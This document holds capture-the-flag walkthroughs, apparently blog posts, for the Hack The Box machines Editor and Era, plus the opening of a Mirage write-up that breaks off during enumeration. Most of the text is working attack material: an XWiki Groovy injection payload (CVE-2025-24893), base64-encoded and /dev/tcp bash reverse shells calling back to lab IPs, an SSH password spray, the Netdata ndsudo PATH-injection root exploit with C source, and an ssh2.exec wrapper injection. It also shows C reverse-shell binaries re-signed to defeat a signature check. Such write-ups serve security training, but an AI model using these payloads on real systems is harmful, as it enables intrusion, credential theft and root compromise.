http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

• Executing the expliot directly in a browser triggered a file download SolrSearch:

• The contents of the file proves that remote code execution was successful as we can see the contents of passwd file:

• The request was also intercepted using Burp Suite, successfully revealing the contents of /etc/passwd.

Groovy is a dynamic, JVM-based scripting language commonly embedded in Java applications. XWiki supports Groovy for server-side script execution, making misconfigurations or injection points highly impacful, as they can lead to arbitrary code execution.

Obtaining a Reverse Shell

• A crafted Groovy payload was used to execute a reverse shell.
• We Encoded the reverse shell in Base64:

echo -n 'bash -i >& /dev/tcp/10.10.14.184/9001 0>&1' | base64 -w0

Remember to change to your IP address!

• The readable variant:

/xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println(["bash", "-c", "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODQvOTAwMSAwPiYx | base64 -d | bash"].execute().text){{/groovy}}{{/async}}

• The encoded variant:

/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%66%61%6c%73%65%7d%7d%7b%7b%67%72%6f%6f%76%79%7d%7d%70%72%69%6e%74%6c%6e%28%5b%22%62%61%73%68%22%2c%20%22%2d%63%22%2c%20%22%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4f%44%51%76%4f%54%41%77%4d%53%41%77%50%69%59%78%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%22%5d%2e%65%78%65%63%75%74%65%28%29%2e%74%65%78%74%29%7b%7b%2f%67%72%6f%6f%76%79%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d%20

• Intercept the request in Burp and setup up a local listener:

nc -nlvp 9001

Shell Upgrade

• Once access was established, the shell was upgraded to an interactive TTY:
• Check script availability (you can also use python3):

which script

• Launch a clean bash shell with a fully interactive pseudo-terminal:

script /dev/null -c bash

• Suspend your current shell to return control to your local terminal:

Ctrl + z

• To set your local terminal to raw mode, disable local echo and bring the suspended reverse shell back to the foreground:

stty raw -echo;fg

• Then press <ENTER>
• Set the terminal type to xterm, to allow features like clear and arrow keys to work properly:

export TERM=xterm

User Enumeration

• Basic user enumeration was performed:

whoami

cd /home && ls

• Only one valid user directory oliver.

grep 'sh$' /etc/passwd

• Only root and oliver have login shells.

cat /etc/passwd

• xwiki and _laurel accounts exist but are non-login users.

XWiki Configuration Enumeration

• Given access to the XWiki service, configuration files were reviewed, which are normally located in /etc directory:

cd /etc

ls -la | grep xwiki

cd xwiki

• Basic configuration was extracted but nothing important:

grep -Ev "^#|^$" xwiki.cfg

• Examination of web.xml did not reveal sensitive information:

cat web.xml

Credential Discovery

• A recursive search for stored credentials returned multiple hits:

grep -rni password

• This revealed cleartext database passwords within hibernate.cfg.xml:

<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>

• The credentials may provide database access or be reused elsewhere in the application stack.

Database Enumeration

• To investigate whether sensitive information was stored within the backend database, access was obtained using the previously recovered credentials:

mysql -u xwiki -ptheEd1t0rTeam99

• The initial review of available databases was performed:

SHOW databases;

• The primary application data is stored in the xwiki database, which we select with:

USE xwiki;

• To enumerate the tables:

SHOW tables;

• This revealed 40 tables related to XWiki content, configuration, indexing and metadata.

• To identify fields containing credential-related strings, the following query was used to generate targeted searches across all columns (optional):

SELECT CONCAT('SELECT * FROM `', TABLE_NAME, '` WHERE `', COLUMN_NAME, '` LIKE "%password%";') AS query_to_run FROM information_schema.columns WHERE TABLE_SCHEMA = 'xwiki';

Executing the most relevant queries produced notable results.

• Search in xwikistrings for password values:

SELECT * FROM `xwikistrings` WHERE `XWS_NAME` LIKE "%password%";

• Querying by the associated ID:

SELECT * FROM xwikistrings WHERE XWS_ID = -5552625943482576562;

This identified the user’s full associated metadata:

• Email: neal@editor.htb
• First Name: Neal
• Last Name: Bagwell
• Password (hashed): hash:SHA-512:dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef:6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a908bc293da82298053ba348872099bd88f059a7838c38b670153

Attempts to crack this hash were unsuccessful!

Password Reuse Testing

• Given the cleartext database password, the next step was to test for password reuse by system users, particularly via SSH (identified earlier through Nmap enumeration):
• Initial test via su:

su - oliver

• Resulted in failed authentication!
• Using NetExec (nxc) and users list derived from enumeration:

root
oliver

• The following password spray was executed:

nxc ssh editor.htb -u users -p 'theEd1t0rTeam99' --no-bruteforce --continue-on-success

• A successful authentication was obtained for the oliver account.

SSH Access

• Using the discovered valid credentials we login via SSH:

ssh oliver@editor.htb

Privilege Escalation via Netdata ndsudo Path Injection

• After obtaining the user flag, further enumeration was conducted to identify potential privilege escalation vectors.

User Enumeration

• Checked available sudo privileges using:

sudo -l

• No privileges with the error “Sorry, user oliver may not run sudo on editor.”
• Searched for files owned by oliver, but no notable results were found:

find / -user oliver 2>/dev/null | grep -v '/run\|/proc\|/sys'

• Retrieved user and group information:

id

groups

• This showed membership in the oliver and netdata groups for oliver user.
• Enumerated directories belonging to the netdata group:

find / -type d -group netdata 2>/dev/null

• This revealed the presence of the Netdata monitoring tool.

Netdata Investigation

• Navigating to the Netdata binary directory, confirms the presence of netdata executable:

cd /opt/netdata/bin

ls -la netdata

file netdata

cat netdata

• Viewing Netdata help menu revealed the default port (19999)it’s running on:

./netdata -h

• To view build information on Netdata:

./netdata -W buildinfo

• Validated that Netdata was actively running by inspecting listening services and forwarding port 19999 for dashboard access via SSH tunneling:

ss -nltp

ssh -L 19999:127.0.0.1:19999 oliver@editor.htb

• Accessing http://127.0.0.1:19999/ confirmed the dashboard was operational.
• We also get a notification that a node we are running is vulnerable:

• Clicking Please update them opens a prompt indicating that a node is outdated. It states that the current version (v1.45.2) should be upgraded to the latest release (v1.46.0). The prompt also notes that the existing version contains a critical vulnerability.

Vulnerability Assessment

• A review of Netdata’s security disclosures revealed a privilege-escalation issue involving the ndsudo binary:
• According to cvedetails.com

Netdata is an open source observability tool. In affected versions the ndsudo tool shipped with affected versions of the Netdata Agent allows an attacker to run arbitrary programs with root permissions. The ndsudotool is packaged as a root-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by the PATH environment variable. This allows an attacker to control where ndsudo looks for these commands, which may be a path the attacker has write access to. This may lead to local privilege escalation.

Vulnerability Confirmation

• Enumerated all SUID binaries:

find / -perm -u=s -type f 2>/dev/null

• Located ndsudo:

find / -type f -name "*ndsudo*" 2>/dev/null

• Confirmed SUID permissions:

ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

• stat utility can also be used to enumerate SUID permissions:

stat /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

• The binary was owned by root, executable by the netdata group, and had the SUID bit set.

Using LinPEAS for Automated Enumeration

On the attacker machine (our machine):

• Download the latest LinPEAS privilege-escalation script:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

• Make the script executable:

chmod +x linpeas.sh

• List file details to verify permissions and ownership:

ls -la linpeas.sh

• Copy the script to the target machine’s /dev/shm directory:

scp linpeas.sh oliver@editor.htb:/dev/shm

On the Remote Shell (target):

• Move into /dev/shm where LinPEAS was uploaded:

cd /dev/shm

• Confirm the file was successfully transfered:

ls -la linpeas.sh

• Execute LinPEAS to begin automated privilege escalation:

./linpeas.sh

LinPEAS highlights the ndsudo SUID binary under:

• Files with Interesting Permissions

• Readable files belonging to root and readable by me but not world readable

Attempted execution:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

• From the restricted xwiki shell: We get a Permission denied.
• From the oliver shell: execution succeeded.

• Running ndsudo -h displayed the help menu.
• Attempting to run a permitted Netdata operation such as nvme-list, resulted in: nvme : not available in PATH.
• This confirmed the presence of a PATH injection vulnerability.

Exploiting PATH Injection

On the attacker machine (our machine):

• Created a malicious C program which spawns a privileged shell:

#include <stdlib.h>  
#include <unistd.h>  
  
void main()  
{  
setuid(0);  
setgid(0);  
system("bash -p");
}

• Compiled the C source code into an executable named nvme:

gcc nvme.c -o nvme

• Uploaded the compiled binary to the target machine’s /dev/shm directory:

scp nvme oliver@editor.htb:/dev/shm

On the Remote Shell (target):

• Navigate to the directory where the malicious binary was uploaded:

cd /dev/shm

• Verify the presence and the permissions of the uploaded binary:

ls -la nvme

• Confirm the file type (optional):

file nvme

• Prepend the current directory to the PATH variable, ensuring the malicious nvme binary is found before legitimate system binaries:

export PATH=$(pwd):$PATH

• Display the updated PATH to verify the modificaton:

echo $PATH

• Execute the vulnerable SUID binary, which attempts to run nvme-list :

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

• Due to the modified PATH, it instead executes the attacker-controlled nvme binary with root privileges granting us a root shell access.
• We enumerate our root user and get the root flag!

Conclusion

Editor highlights how small misconfigurations can combine into a full system compromise. From XWiki RCE to reused credentials and a vulnerable NetData binary, we ultimately gain full root access. Always remember to keep your systems patched and properly secured. Hasta pronto😎

References

• XWiki Platform Remote Code Execution: ExploitDB
• CVE Details: CVE-2025–24893
• NIST: CVE-2025–24893
• CVE-2025–24893 PoC
• Execute Commands in Groovy
• NetData: CVE-32019

Era is a medium-difficulty Linux machine that blends web exploitation with a clever twist on binary integrity abuse. The attack surface begins with a custom PHP-based file-upload platform riddled with Insecure Direct Object Reference (IDOR) flaws, weak access controls, and improperly protected administrative functionality. Through service enumeration, virtual host discovery and directory enumeration, these issues broaden into more significant weaknesses, ranging from insecure file management to flawed authentication logic that can be manipulated to retrieve an administrative site backup and ultimately impersonate the admin user.

A closer examination of the application’s source code uncovers a vulnerable file-preview mechanism that misuses PHP stream wrappers, enabling remote code execution through crafted requests. This foothold leads directly into a reverse shell via the application’s SSH integration module. Privilege escalation becomes the final challenge. A root-executed monitoring service relies on superficial signature validation for an ELF binary. This weak validation makes it trivial to craft and substitute a malicious “signed” binary, resulting in full root access.

Era ultimately showcases a complete exploitation chain: service enumeration, virtual host and file discovery, insecure file management, weak access controls, PHP wrapper abuse and a creative privilege escalation vector through flawed signature validation, making it an excellent demonstration of how small security oversights can compound into total system takeover.

About Era

• OS: Linux
• Difficulty: Medium
• Release Date: 26 Jul, 2025

Environment Setup

• Before beginning the assessment, initialize your working directory and verify connectivity:

mkdir Era && cd Era

ping -c 3 10.10.11.79

Network Enumeration

• To begin mapping the exposed attack surface, a comprehensive Nmap scan is performed using service detection, default scripts and verbose output:

sudo nmap -sCV -vv -oN era.nmap 10.10.11.79

Scan Findings

The scan identifies two open TCP services on the target host:

• Port 21 (FTP) : Service vsftpd 3.0.5
• Port 80 (HTTP): The web server responds with a redirect to http://era.htb/, suggesting the use of a virtual host.

Hostname Discovery

• From Nmap’s output we discover the hostname era.htb, and to interact with the web application the hostname must be resolved locally.
• This is done by adding the entry below to your /etc/hosts file:

10.10.11.79   era.htb

FTP Enumeration

• Initial enumeration of the FTP service running on vsftpd 3.0.5 did not reveal any immediately exploitable vulnerabilities.
• A review of publicly known issues for this version yielded no relevant attack vectors, and a quick searchsploit vsftpd 3.0.5 lookup confirmed the absence of applicable exploits.
• To verify whether the service allowed unauthenticated access, we attempted to connect directly:

ftp 10.10.11.79

• As part of standard FTP testing, we attempted the default anonymous login with the common credentials: Name: anonymous; Password: anonymous.
• However, anonymous authentication was not permitted, leaving us without further avenues to pursue through FTP at this stage. We move on regardless!

Website Content Review

• With FTP proving unproductive, attention shifted to the web service identified earlier.
• Navigating to http://era.htb/ revealed a predominantly static website.

• The About Us section provides context about the fictional company “Era Designs Inc.”, highlighting its focus on interior design and notably, its capability to develop web applications. The information here was largely informational.

• Further inspection of the site’s public content reveals a Team section listing several staff members: Tom Rensed — Chief Executive Officer, Kathren Mory — Vice President and Lancer Jack — Senior Manager.
• Although these names could potentially serve as username candidates, none of them provided any actionable value during enumeration.

• The Contact section includes an email address, support@era.htb, but it also proved unhelpful in the context of exploitation.
• Its associated contact form functions as a simple static placeholder, offering no interactive features worth testing for input handling vulnerabilities.

• A review of the website’s HTML source code similarly yielded no useful indicators, hidden paths, or embedded functionality, prompting further exploration beyond the static content.

Virtual Host and Subdomain Enumeration

• To expand the attack surface, virtual host enumeration was conducted using gobuster (though ffuf would be an equally suitable alternative):

gobuster vhost --url http://era.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100 -output era_vhosts.txt

• — append-domain option automatically appends the base domain (era.htb) to each wordlist entry, generating valid VHost candidates.
• Threading ( — threads 100) was increased from the default to accelerate the brute-force process. In real-world scenarios, however, high thread counts can raise alerts on monitoring systems — so Operations Security (OpSec) should always be taken into account.
• The enumeration produced a single valid virtual host: file.era.htb.
• This host was added to /etc/hosts to ensure proper resolution.

Exploring file.era.htb

Navigating to http://file.era.htb/ revealed several accessible links:

• Manage Files
• Upload Files
• Update Security Questions
• Sign In

All of these pages redirect to the Sign In portal, indicating authentication is required before any functionality is exposed.

A secondary login option is available: “Log in Using Security Questions”. This is noteworthy as we will revise it later.

The form prompts for:

• Username
• Mother’s maiden name
• Name of first pet
• City of birth

Submitting placeholder values did not yield any useful feedback or facilitate username enumeration, so this avenue is set aside for now pending further discoveries.

Directory Enumeration

• To uncover additional functionality on the file.era.htb virtual host, a directory enumeration scan was performed using gobuster:

gobuster dir --url http://file.era.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --extensions php --exclude-length 162,6765 --threads 100 --no-error --output era_dir_enum.txt

• --extensions php ensures the scan also checks for PHP files, which are common entry points on custom web applications.
• --exclude-length filters out repeated responses based on length to allow us get meaningful results.

• Most discovered endpoints either returned 403 Forbidden or redirected to login.php, the Sign In portal.

• However, an important exception emerged, register.php.

User Registration via register.php

The /register.php endpoint enabled the creation of new user accounts. During registration, a server-side filter was observed: certain substrings (e.g., or) were sanitized, altering our input. For example. attempting to register with the password password resulted in the stored value passwd. So when you attempt to login in, you will use your password as passwd instead of password.

Once registered, the application redirected to the login page and after signing in, provided access to several new sections:

• Manage Files
• Upload Files
• Update Security Questions
• Sign Out

• The Manage Files area displayed uploaded files and related metadata.
• Upload functionality allowed submitting files, though attempts at common file upload attacks were unsuccessful.
• Each uploaded file became available through a download link resembling:

http://file.era.htb/download.php?id=8506

• The parameterized id value suggested the potential for Insecure Direct Object Reference (IDOR) exploitation.

IDOR Testing

• To automate testing of the id parameter, a fuzzing approach using gobuster was used:

seq 1 9000 > ids.txt && gobuster fuzz --url 'http://file.era.htb/download.php?id=FUZZ' --cookies 'PHPSESSID=iki73t26fmencd8s3tddsn2k5d' --wordlist ids.txt --exclude-length 7686 --output fuzzed_ids.txt

• seq generates numeric IDs for testing and stores them in the ids.txt file.
• gobuster fuzz iterates through each ID using an authenticated session cookie.
• seq 1 9000 was used to include our file id in the results as our downloaded file had the id 8506.
• To obtain a valid session cookie intercept the download file request:

• --exclude length removes common error and unnecessary responses, highlighting unique outputs.

• The valid IDs were discovered, including our own (8506) and two additional ones: 54 and 150.

ID 54 — Site Backup

• Visiting:

http://file.era.htb/download.php?id=54

yielded a downloadable archive: site-backup-30–08–24.zip

• After extracting:

mkdir site-backup && cd site-backup

7z x ../site-backup-30-08-24.zip

A variety of application files were revealed. Of particular interest:

• filedb.sqlite — the application’s database.
• download.php — the backend logic for file retrieval.

Both would prove useful for deeper analysis.

ID 150 — Signing Files

• Navigating to:

http://file.era.htb/download.php?id=150

allowed retrieval of signing.zip, which was extracted as follows:

mkdir signing && cd signing

7z x ../signing.zip

The archive contained two files:

• key.pem
• x509.genkey

These cryptographic files appear related to the application’s signing mechanisms and will become significant later in the privilege escalation phase.

Database Analysis and Credential Extraction

• With access to the site backup, the next step involved examining the SQLite database (filedb.sqlite) to extract user information, file metadata and any potential authentication credentials.
• The database was inspected using the SQLite CLI:

sqlite3 filedb.sqlite

• The following queries were issued:

.schema
SELECT * FROM files;
SELECT * FROM users;
SELECT user_name, user_password FROM users;

The schema revealed three primary tables:

• files — stores file identifies, paths, owner IDs, and timestamps.
• users — contains user credentials, auto-delete settings, and security question answers.
• sqlite_sequence — tracks AUTOINCREMENT state.

Reviewing the contents of the users table exposed several accounts along with their hashed passwords.

Preparing Hashes for Cracking

• To streamline cracking with Hashcat, the extracted username:hash pairs were reformatted by replacing pipe separators with colons. Using vim, this was performed with:

:%s/|/:/g

• Before cracking, it was necessary to identify the hash type. Extracting only the hashes into a file and running hashid produced:

Blowfish(OpenBSD) [Hashcat Mode: 3200]

Cracking the Passwords

• Using Hashcat (-m 3200) and the rockyou.txt wordlist yielded two successful cracks:

hashcat.exe -m 3200 --username HTB\hashes\hashes HTB\wordlists\rockyou.txt

• Displaying the cracked hashes:

hashcat.exe -m 3200 --username HTB\hashes\hashes --show

• Recovered credentials:

eric:america
yuri:mustang

FTP Access and Configuration Discovery

• Further analysis revealed that one of the uncracked accounts, admin_ef01cab31aa, is likely the platform’s administrative user. Although the password could not be recovered at this stage, its potential significance should be kept in mind.
• With the newly obtained credentials, it was time to revisit the earlier FTP service enumeration in hopes of gaining authenticated access:
• eric:america — 530 Permission denied.
• yuri:mustang — Login successful.

Enumerating FTP as yuri

After successfully logging in, directory listing revealed two folders:

• apache2_conf
• php8.1_conf

Exploring apache2_conf

Within apache2_conf, four Apache configuration files were identified:

• 000-default.conf
• apache2.conf
• file.conf
• ports.conf

All files were downloaded locally using:

mget *

• A review of their contents showed standard web server configuration data.

Exploring php8.1_conf

• The second FTP directory, php8.1_conf, contained PHP-related configuration files.
• Among them, the presence of ssh2.so was particularly interesting.
• This extension enables SSH2 stream wrappers in PHP, potentially allowing remote command execution under certain conditions.

Revisiting download.php

• Returning to the download.php file extracted earlier, one section stood out: a BETA feature reserved for the admin that allows rendering files using PHP wrappers.
• The key Logic

        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }

This code demonstrates:

• The admin can specify a wrapper protocol via format= (e.g., ssh2://, php://, etc.).
• If the wrapper is valid, it is prepended directly to the file path in an fopen() call.
• This can lead to command execution capability in our case.

Given the earlier discovery of ssh2.so on the FTP server, this functionality becomes particularly promising for exploitation. The extension could allow code execution through SSH2 stream wrappers.

Abusing Security Question Reset Functionality

• During review of the Update Security Questions feature, an important observation emerged: the form includes a modifiable Username field, implying that users can reset the security questions for any account, not just their own. This weakness becomes crucial when combined with the earlier discovery of the administrative user admin_ef01cab31aa.

Security Question Fields:

• Username
• What is your mother’s maiden name?
• What is the name of your first pet?
• In which city were you born?

Using this functionality, it is possible to reset the security questions for the admin account and authenticate as that user.

After successfully doing so and logging in as admin_ef01cab31aa, the Manage Files section exposes two familiar archives:

• site-backup-30–08–24.zip
• signing.zip

Leveraging the Admin-Only BETA Feature for RCE via SSH2 Wrapper

• When attempting to download site-backup-30–08–24.zip, the request was intercepted and modified to trigger the admin-only file preview (show=true) functionality.

• The format parameter allows use of PHP stream wrappers, including ssh2.exec://, identified earlier within the system’s PHP configuration.

Proof-of-Concept Ping Injection

• Modified request captured via Burp:

GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145; HTTP/1.1

Key points:

• show=true — activates the admin-only preview mode.
• format=ssh2.exec://eric:america@127.0.0.1:22/ping+-c1+10.10.14.145 — injects the SSH2 execution wrapper.
• Trailing ; is required, to separate the command.
• Local Machine listens for ICMP traffic:

sudo tcpdump -i tun0 -v icmp

• The response confirms successful execution:

Obtaining a Reverse Shell

• A reverse shell payload was injected using the same wrapper:

GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.145/9001+0>%261'; HTTP/1.1

• Setup a listener on the attacking machine:

nc -nlvp 9001

• A fully interactive shell was obtained as eric user.
• Shell Upgrade was necessary:

python3 -c 'import pty;pty.spawn("/bin/bash")'

• Press Ctrl-z
• We get back to our local terminal. We then enter the command below and press <ENTER> to get the shell prompt for eric user:

stty raw -echo; fg

The stty raw -echo command suppresses the annoying behavior of echoing characters back to you while executing commands.

• To clear our screen and ensure proper handling of cursor movements:

export TERM=xterm

• With stable shell access, the user flag was retrieved.

Local Enumeration

• To Access yuri user account:

su - yuri

• When prompted enter yuri‘s password.

Sudo privilege checks:

sudo -l

• Result for both eric and yuri return the error Sorry, user <user> may not run sudo on era.

User and Group Memberships

whoami

id

groups

• eric belongs to eric and devs groups, interesting results!
• yuri belongs only to yuri group

Checking for Valid Users with a Shell

grep 'sh$' /etc/passwd

• Valid users are root, eric and yuri

Identifying devs Group Resources

find / -group devs 2>/dev/null

• Inside /opt/AV/periodic-checks, we have two files monitor binary file and status.log log file
• This directory is writable by users in the devs group, meaning eric can modify or replace files here, setting the stage for a binary-hijack and signature-abuse privilege escalation path.

Privilege Escalation via Cron-Triggered Binary Signature Validation

• Further analysis revealed that a cron job executes every minute, interacting directly with the monitor binary located in /opt/AV/periodic-checks.
• This suggested the presence of an automated validation or integrity-checking mechanism.
• To verify this, pspy was deployed to monitor real-time process activity.

• To run pspy64:

./pspy64

Identifying Cron Activity with pspy

• After downloading, transferring and running pspy64, the following recurring process chain was observed:

2025/12/05 08:51:07 CMD: UID=0     PID=1      | /sbin/init 
2025/12/05 08:52:01 CMD: UID=0     PID=9834   | /usr/sbin/CRON -f -P 
2025/12/05 08:52:01 CMD: UID=0     PID=9835   | /usr/sbin/CRON -f -P 
2025/12/05 08:52:01 CMD: UID=0     PID=9836   | bash -c /root/initiate_monitoring.sh 
2025/12/05 08:52:01 CMD: UID=0     PID=9837   | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor 
2025/12/05 08:52:01 CMD: UID=0     PID=9838   | /bin/bash /root/initiate_monitoring.sh 
2025/12/05 08:52:01 CMD: UID=0     PID=9839   | /bin/bash /root/initiate_monitoring.sh 
2025/12/05 08:52:01 CMD: UID=0     PID=9842   | grep -oP (?<=UTF8STRING        :)Era Inc. 
2025/12/05 08:52:01 CMD: UID=0     PID=9840   | /bin/bash /root/initiate_monitoring.sh 
2025/12/05 08:52:01 CMD: UID=0     PID=9845   | grep -oP (?<=IA5STRING         :)yurivich@era.com 
2025/12/05 08:52:01 CMD: UID=0     PID=9843   | /bin/bash /root/initiate_monitoring.sh 
2025/12/05 08:52:01 CMD: UID=0     PID=9846   | /bin/bash /root/initiate_monitoring.sh

Key findings:

• A cron job triggers /root/initiate_monitoring.sh every minute.
• The script uses objcopy to extract the .text_sig section from the monitor binary.
• This strongly suggests signature validation of the binary prior to execution.
• Since monitor resides in a directory owned by root:devs and is writable by the devs group, user eric (a member of devs) can overwrite it, but only if the replacement includes a valid signature section.

Option 1: Reusing the Extracted Signature for a Malicious Binary

• Extracting the .text_sig section into text_sig_section.bin:

cd /dev/shm

objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor

After extracting the .text_sig section into text_sig_section.bin, a custom reverse-shell binary was created locally:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.145/9002 0>&1'");
    return 0;
}

Building and Preparing the Malicious Binary

• On our local machine:

gcc monitor_shell.c -o monitor_shell

python -m http.server

• On the target machine:

cd /dev/shm

wget http://10.10.14.145:8000/monitor_shell

objcopy --add-section .text_sig=text_sig_section.bin monitor_shell

• The listener was started:

nc -nlvp 9002

• The malicious binary is then copied over monitor binary file:

cat monitor_shell > /opt/AV/periodic-checks/monitor

• Within one cron cycle, a root reverse shell was obtained and we can obtain the root flag.

Option 2: Creating a Fully Valid Signed Binary Using Provided Keys

• The previously downloaded signing.zip archive contained key.pem and x509.genkey
• These files enable the creation of a properly signed binary that passes the system’s integrity check.

Steps to Build a Signed Malicious Binary:

• On the local machine:

mkdir monitor_bin && cd monitor_bin

• Using vim editor create a file vi monitor_shell.c and copy the contents below:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.145/9003 0>&1'");
    return 0;
}

• Compile the monitor_shell.c binary:

gcc monitor_shell.c -o monitor_shell

• Generate a self-signed certificate:

openssl req -new -x509 -key ../signing/key.pem -out cert.pem -days 365 -config ../signing/x509.genkey

Explanation:

The above command creates a new self-signed x.509 certificate (cert.pem) using the private key key.pem. The certificate is valid for 365 days and uses the settings defined in the OpenSSL config file x509.genkey. This certificate will be used to sign the malicious binary.

• Sign the binary using Cryptographic Message Syntax (CMS):

openssl cms -sign -in monitor_shell -signer cert.pem -inkey ../signing/key.pem -outform DER -out text_sig_section.sig -nodetach -nosmimecap -nocerts -noattr

Explanation:

The above command digitally signs the monitor_shell binary using the certificate cert.pem and the private key key.pem.

The output is a CMS signature in DER format stored in text_sig_section.sig.

The flag -nodetach embeds the signature directly with the data (no detached signature).

The flags -nosmimecap, -nocerts, -noattr produces a minimal signature without extra metadata, certificates or attributes.

• Embed the signature into the binary:

objcopy --add-section .text_sig=text_sig_section.sig --set-section-flags .text_sig=readonly monitor_shell

• Host the binary for upload on the target machine:

python -m http.server

• On the target machine:

cd /opt/AV/periodic-checks

wget http://10.10.14.145:8000/monitor_shell

cat monitor_shell > monitor

• Start a listener on the local machine:

nc -nlvp 9003

• Once the cron job executed, a second root shell was received and we can read the root flag.

Conclusion

The Era machine delivers a realistic, well-designed progression of vulnerabilities that demonstrate how small weaknesses can be chained into a full system compromise. Initial enumeration exposed weak access controls and an IDOR flaw that granted access to sensitive backups and signing materials.

The standout challenge was the privilege-escalation mechanism: a recurring cron job validating a custom-signed binary. By extracting the signature workflow and crafting a malicious binary with a legitimate-looking signature, we bypassed the system’s integrity checks and achieved root access.

Overall, Era is a perfect reminder that when access controls are weak and internal security checks are taken on faith, an attacker can stroll through the system like they’ve been handed the VIP pass. Hasta pronto mis amigos!😎

References

• SSH2 Wrappers
• pspy tool

Mirage is a Windows Active Directory machine that demonstrates how several small misconfigurations can combine into a complete domain compromise. The assessment begins with an unexpectedly exposed NFS share containing sensitive internal documents, which provides initial insight into the environment. Further enumeration reveals that a key DNS record has been automatically removed, and the DNS server accepts insecure dynamic updates. This allows us to recreate the missing record and intercept communication intended for the domain’s NATS service.

By monitoring this traffic, we obtain valid domain credentials and use them to progress through multiple stages of the network. These include Kerberoasting, accessing the Domain Controller through WinRM, performing a cross-session NET-NTLMv2 relay to obtain credentials, and retrieving gMSA hash. Additional misconfigurations in the Active Directory Certificate Services (AD CS), particularly around UPN mapping and certificate validation, enable ESC10 attack that ultimately grants us the ability to perform DCSync and obtain full Domain Administrator privileges.

About Mirage

• OS: Windows
• Difficulty: Hard
• Release Date: 19 Jul, 2025

Environment Setup

• Prepare a simple working directory to keep all files organized and create a dedicated folder for the Mirage machine along with a sub-directory for Nmap results:

cd ~/HTB

mkdir -p Mirage/nmap

cd Mirage

Network Discovery and Enumeration

• Confirm that the target machine is reachable by sending a few ICMP echo requests.

ping -c 3 10.10.11.78

• A comprehensive Nmap scan was performed to identify exposed ports and services:

sudo nmap -sCV -vv -oN nmap/mirage.nmap 10.10.11.78

Key findings from Nmap :

• DNS (53) — Name resolution services for the domain.
• Kerberos (88, 464) — Authentication.
• LDAP (389, 636, 3268, 3269) — Directory services.
• SMB (445, 139) — File sharing and remote management.
• RPC (135, 593) — Remote system services.
• WinRM (5985) — Remote shell access.
• NFS (11, 2049) — Unexpected. Usually not found on Windows DCs. NFS v2/3/4 running.

From the LDAP banners:

• Domain — mirage.htb
• Hostnames — dc01.mirage.htb, mirage.htb
• Presence of an Internal Certificate Authority: mirage-DC01-CA

TTL value (127) indicates the target is likely a Windows Server OS (default TTL 128), and is a single hop away from the attacking machine.

The discovery of mirage-DC01-CA suggests Active Directory Certificate Services (AD CS) are enabled, opening potential vectors for certificate-based attacks.

Hostname Enumeration

SMB-Based Host Discovery

